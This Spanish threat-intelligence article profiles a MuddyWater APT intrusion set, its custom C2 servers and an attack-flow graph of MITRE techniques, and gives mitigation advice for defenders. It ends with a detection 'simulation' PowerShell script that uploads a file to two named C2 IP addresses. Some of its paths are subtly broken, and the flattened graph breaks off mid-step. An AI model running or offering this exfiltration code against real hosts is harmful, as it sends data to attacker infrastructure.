MuddyWater Expuesto: Dentro de una operación APT iraní

Ruslan Mikhalov Chief of Threat Research at SOC Prime

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MuddyWater Expuesto: Dentro de una operación APT iraní

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Resumen

Investigadores identificaron un set de intrusión de MuddyWater (Static Kitten) que combinaba múltiples marcos C2 personalizados con la explotación oportunista de numerosas vulnerabilidades expuestas a Internet y ataques de fuerza bruta de credenciales a gran escala. Los operadores encadenaron herramientas de reconocimiento, acceso inicial y robo de datos para comprometer objetivos en Medio Oriente, Europa y Estados Unidos.

Investigación

Los investigadores incautaron infraestructura expuesta de un VPS alojado en Países Bajos y extrajeron binarios para tres servidores C2 diseñados a medida: KeyC2, PersianC2, y ArenaC2. También recuperaron herramientas de soporte, incluyendo cargadores basados en PowerShell y cargas útiles de Node.js utilizadas para la fase de preparación y ejecución. La actividad incluyó un escaneo amplio de CVEs de cara al público seguido de su explotación, e incorporó contratos inteligentes de blockchain como un mecanismo para resolver o actualizar dinámicamente los endpoints C2.

Mitigación

Priorice la remediación de los CVEs referenciados y reduzca la superficie de ataque fortaleciendo y limitando la exposición de los servicios de cara al público. Bloquee o restrinja severamente el tráfico UDP saliente desconocido en el puerto 1269, y monitoree los artefactos de ejecución vinculados a los binarios C2 personalizados y sus patrones de comando distintivos. Aplique el principio de privilegio mínimo para cuentas de VPN y administrativas en dispositivos de red, y aumente la cobertura de detección para comportamientos anómalos de PowerShell y sesiones cifradas salientes hacia espacios de IP no familiares.

Respuesta

Si se observan indicadores, aísle los sistemas impactados, preserve artefactos de memoria y disco, y bloquee inmediatamente los dominios/IPs identificados de C2. Realice un análisis forense de cargadores recuperados y scripts de Node.js para delimitar la ejecución y persistencia. Aplique parches a todas las vulnerabilidades explotadas y rote cualquier credencial que pueda haber sido expuesta a través de fuerza bruta o robo.

<div class="wp-block-socprime-category-attack-flow attack-flow-class" data-title="Attack Flow" data-attack-flow="graph TB %% Class definitions classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef malware fill:#ccffcc classDef c2 fill:#ffccff %% Step 1 – Active Scanning: Vulnerability Scanning step1["Action – T1595.002 Active Scanning: Vulnerability Scanning Tool: Nuclei Description: Mass‑scan public services for exploitable CVEs such as FortiOS CVE‑2024‑55591 and Ivanti CVE‑2026‑1281."] class step1 action tool_nuclei["Tool – Name: Nuclei Description: High‑speed vulnerability scanner used for large‑scale internet probing."] class tool_nuclei tool step1 –>|uses| tool_nuclei step1 –>|leads_to| step2 %% Step 2 – Gather Victim Network Information: DNS step2["Action – T1590.002 Gather Victim Network Information: DNS Tools: subfinder, Sudomy, OneForAll Description: Enumerate subdomains and DNS records for targets such as clearview.ai and jewishagency.org."] class step2 action tool_subfinder["Tool – Name: subfinder Description: Fast passive subdomain discovery tool."] class tool_subfinder tool step2 –>|uses| tool_subfinder step2 –>|leads_to| step3 %% Step 3 – Active Scanning: Wordlist Scanning step3["Action – T1595.003 Active Scanning: Wordlist Scanning Tool: ffuf Description: Brute‑force web directories with a medium‑size wordlist to discover hidden resources."] class step3 action tool_ffuf["Tool – Name: ffuf Description: Fast web‑fuzzer for directory and file discovery."] class tool_ffuf tool step3 –>|uses| tool_ffuf step3 –>|leads_to| step4 %% Step 4 – Search Open Technical Databases: Scan Databases step4["Action – T1596.005 Search Open Technical Databases: Scan Databases Tool: Shodan CLI Description: Query Shodan for vulnerable Ivanti devices using service signatures and favicon hashes."] class step4 action tool_shodan["Tool – Name: Shodan CLI Description: Command‑line interface to the Shodan internet‑exposure search engine."] class tool_shodan tool step4 –>|uses| tool_shodan step4 –>|leads_to| step5 %% Step 5 – Brute Force: Password Spraying step5["Action – T1110.003 Brute Force: Password Spraying Tool: Python owa.py script Description: Spray common passwords against Outlook Web Access and SMTP services of Israeli, Jordanian and UAE organisations."] class step5 action tool_owa["Tool – Name: owa.py Description: Python script that performs password‑spraying attacks against OWA endpoints."] class tool_owa tool step5 –>|uses| tool_owa step5 –>|leads_to| step6 %% Step 6 – Brute Force: Password Guessing step6["Action – T1110.001 Brute Force: Password Guessing Tool: Patator Description: Attempt SMTP logins with credential lists to obtain valid accounts."] class step6 action tool_patator["Tool – Name: Patator Description: Multi‑protocol brute‑forcing tool supporting SMTP, SSH, HTTP, etc."] class tool_patator tool step6 –>|uses| tool_patator step6 –>|leads_to| step7 %% Step 7 – Exploit Public‑Facing Application step7["Action – T1190 Exploit Public‑Facing Application Technique: Novel SQL injection flaws in BaSalam and a Postgres development platform. Description: Exploit crafted SQLi payloads to obtain initial foothold on web servers."] class step7 action step7 –>|leads_to| step8 %% Step 8 – Exploitation of Remote Services step8["Action – T1210 Exploitation of Remote Services Tool: Neo‑reGeorg ASPX web‑shell Description: Upload web‑shell to compromised Exchange server for persistence and remote command execution."] class step8 action malware_neoregeorg["Malware – Name: Neo‑reGeorg ASPX web‑shell Description: ASPX web‑shell providing remote command execution and tunneling capabilities."] class malware_neoregeorg malware step8 –>|uploads| malware_neoregeorg step8 –>|leads_to| step9 %% Step 9 – Boot or Logon Autostart Execution: Registry Run Keys step9["Action – T1547.001 Boot or Logon Autostart Execution: Registry Run Keys Malware: Node.js payload VfZUSQi6oerKau.js Description: Create HKCUSoftwareMicrosoftWindowsCurrentVersionRun key for persistence."] class step9 action malware_nodejs["Malware – Name: VfZUSQi6oerKau.js Description: Obfuscated Node.js payload that writes a Run‑key for persistence."] class malware_nodejs malware step9 –>|creates| malware_nodejs step9 –>|leads_to| step10 %% Step 10 – Server Software Component: Web Shell step10["Action – T1505.003 Server Software Component: Web Shell Component: Neo‑reGeorg web‑shell (nfud.aspx) Description: Enables remote command execution on compromised server."] class step10 action malware_nfud["Malware – Name: nfud.aspx Description: ASPX web‑shell variant used for persistent access."] class malware_nfud malware step10 –>|implements| malware_nfud step10 –>|leads_to| step11 %% Step 11 – Create Account: Local Account step11["Action – T1136.001 Create Account: Local Account Result: Privileged admin account "FortiSetup" with super_admin profile. Description: Modified FortiGate exploit scripts to add a persistent local admin account."] class step11 action step11 –>|leads_to| step12 %% Step 12 – Obfuscated Files or Information step12["Action – T1027 Obfuscated Files or Information Malware: Node.js payloads Description: Payloads heavily obfuscated and AES‑CBC encrypted before being written to disk."] class step12 action malware_obf["Malware – Name: Encrypted Node.js payloads Description: AES‑CBC encrypted blobs stored on the victim file system."] class malware_obf malware step12 –>|produces| malware_obf step12 –>|leads_to| step13 %% Step 13 – Deobfuscate/Decode Files or Information step13["Action – T1140 Deobfuscate/Decode Files or Information Tool: PowerShell loader reset.ps1 Description: Decrypts AES‑CBC encrypted blobs at runtime."] class step13 action tool_psloader["Tool – Name: reset.ps1 Description: PowerShell script that decrypts and loads malicious payloads in memory."] class tool_psloader tool step13 –>|uses| tool_psloader step13 –>|leads_to| step14 %% Step 14 – Reflective Code Loading step14["Action – T1620 Reflective Code Loading Technique: PowerShell loader loads decrypted Node.js components reflectively in memory."] class step14 action step14 –>|leads_to| step15 %% Step 15 – Application Layer Protocol: Web Protocols step15["Action – T1071.001 Application Layer Protocol: Web Protocols C2: PersianC2 Description: HTTP polling using JSON API endpoints to retrieve commands."] class step15 action c2_persian["C2 – Name: PersianC2 Description: HTTP‑based command and control using JSON polling."] class c2_persian c2 step15 –>|communicates_via| c2_persian step15 –>|leads_to| step16 %% Step 16 – Non‑Application Layer Protocol step16["Action – T1095 Non‑Application Layer Protocol C2: KeyC2 Description: Custom binary protocol over UDP port 1269 for beaconing and command execution."] class step16 action c2_key["C2 – Name: KeyC2 Description: UDP‑based covert channel using proprietary binary format."] class c2_key c2 step16 –>|communicates_via| c2_key step16 –>|leads_to| step17 %% Step 17 – Web Service: Dead Drop Resolver step17["Action – T1102.001 Web Service: Dead Drop Resolver Technique: Query Ethereum smart contracts to resolve C2 server IP addresses dynamically."] class step17 action step17 –>|leads_to| step18 %% Step 18 – Web Service: Bidirectional Communication step18["Action – T1102.002 Web Service: Bidirectional Communication C2: ArenaC2 (FastAPI/uvicorn) Description: HTTP POST interface encrypting traffic with AES‑256‑CBC."] class step18 action c2_arena["C2 – Name: ArenaC2 Description: FastAPI server providing encrypted bidirectional C2 channel."] class c2_arena c2 step18 –>|uses| c2_arena step18 –>|leads_to| step19 %% Step 19 – Web Service: One‑Way Communication step19["Action – T1102.003 Web Service: One‑Way Communication Component: Minimal Flask server (web.py) on port 10443 accepting file uploads for exfiltration."] class step19 action malware_flask["Malware – Name: web.py Description: Simple Flask app acting as a dead‑drop for stolen data."] class malware_flask malware step19 –>|implements| malware_flask step19 –>|leads_to| step20 %% Step 20 – Protocol Tunneling step20["Action – T1572 Protocol Tunneling Tool: Neo‑reGeorg acting as SOCKS proxy (resocks, revsocks) to tunnel into internal networks."] class step20 action step20 –>|leads_to| step21 %% Step 21 – Proxy: External Proxy step21["Action – T1090.002 Proxy: External Proxy Listeners: resocks and revsocks creating external SOCKS proxies for lateral movement."] class step21 action step21 –>|leads_to| step22 %% Step 22 – Encrypted Channel: Symmetric Cryptography step22["Action – T1573.001 Encrypted Channel: Symmetric Cryptography Technique: ArenaC2 encrypts all C2 traffic with AES‑256‑CBC using a hard‑coded key."] class step22 action step22 –>|leads_to| step23 %% Step 23 – Dynamic Resolution step23["Action – T1568 Dynamic Resolution Method: Smart‑contract calls (getString) on Ethereum return active C2 IP list (e.g., 185.236.25.119)."] class step23 action step23 –>|leads_to| step24 %% Step 24 – Exfiltration to Cloud Storage step24["Action – T1567.002 Exfiltration Over Web Service: Exfiltration to Cloud Storage Tool: rclone Destination: Wasabi S3, put.io Description: Upload stolen files to cloud storage accounts."] class step24 action tool_rclone["Tool – Name: rclone Description: Command‑line program for syncing files to cloud storage services."] class tool_rclone tool step24 –>|uses| tool_rclone step24 –>|leads_to| step25 %% Step 25 – Exfiltration Over C2 Channel step25["Action – T1041 Exfiltration Over C2 Channel Capability: KeyC2 and PersianC2 support file download commands to retrieve data from victims."] class step25 action step25 –>|leads_to| step26 %% Step 26 – Exfiltration Over Alternative Protocol step26["Action – T1048 Exfiltration Over Alternative Protocol

Flujo de Ataque

01 Abr 2026

Ejecución de Simulación

Requisito previo: El chequeo previo de calibración y telemetría debe haber pasado.

Razonamiento: Esta sección detalla la ejecución precisa de la técnica adversaria (TTP) diseñada para activar la regla de detección. Los comandos y la narrativa DEBEN reflejar directamente los TTPs identificados y apuntar a generar exactamente la telemetría esperada por la lógica de detección.

Narrativa y Comandos de Ataque:
1. Reconocimiento y preparación de datos: El atacante enumera archivos locales (T1005) y escribe una pequeña carga útil (secret.txt) en la estación de trabajo.
2. Configuración de Comunicación C2: Usando PowerShell (T1059.001), el atacante elabora una solicitud HTTPS POST al servidor C2 de MuddyWater 194.11.246.101 en el puerto 443, incorporando los datos preparados.
3. Canal Alternativo (Puerto No Estándar): Para evadir simples reglas basadas en puertos, el atacante repite la exfiltración sobre el puerto 1338 utilizando Invoke-WebRequest con el -Port switch (PowerShell 7+).
4. Encadenamiento de Proxy Opcional: La solicitud se enruta a través de un proxy externo (T1090.002) pero la dirección IP de destino final sigue siendo el host de MuddyWater, asegurando que los registros de firewall conserven la dst_ip.

Script de Prueba de Regresión:

# Simulación de Exfiltración MuddyWater – PowerShell
# ------------------------------------------------
# Paso 1: Crear datos ficticios
$dataPath = "$env:TEMPsecret.txt"
"Datos sensibles $(Get-Date)" | Out-File -FilePath $dataPath -Encoding UTF8

# Paso 2: Definir endpoints C2
$c2Ips = @('194.11.246.101','18.223.24.218')
$c2Ports = @(443,1338)

# Paso 3: Subir a través de HTTPS (puerto 443)
foreach ($ip in $c2Ips) {
    $uri = "https://$ip/upload"
    Invoke-WebRequest -Uri $uri -Method POST -InFile $dataPath -UseBasicParsing -ErrorAction SilentlyContinue
}

# Paso 4: Subir a través del puerto personalizado 1338 (requiere PowerShell 7+)
foreach ($ip in $c2Ips) {
    $uri = "http://$ip:1338/upload"
    Invoke-WebRequest -Uri $uri -Method POST -InFile $dataPath -UseBasicParsing -ErrorAction SilentlyContinue
}

# Paso 5: Limpiar
Remove-Item -Path $dataPath -Force

Comandos de Limpieza:

# Eliminar cualquier conexión de red persistente (Windows)
Get-NetTCPConnection -RemoteAddress 194.11.246.101,18.223.24.218 |
    Where-Object { $_.State -eq 'Established' } |
    ForEach-Object { Stop-Process -Id $_.OwningProcess -Force }

# Eliminar archivos temporales (ejecutar nuevamente si es necesario)
$tempFile = "$env:TEMPsecret.txt"
if (Test-Path $tempFile) { Remove-Item $tempFile -Force }

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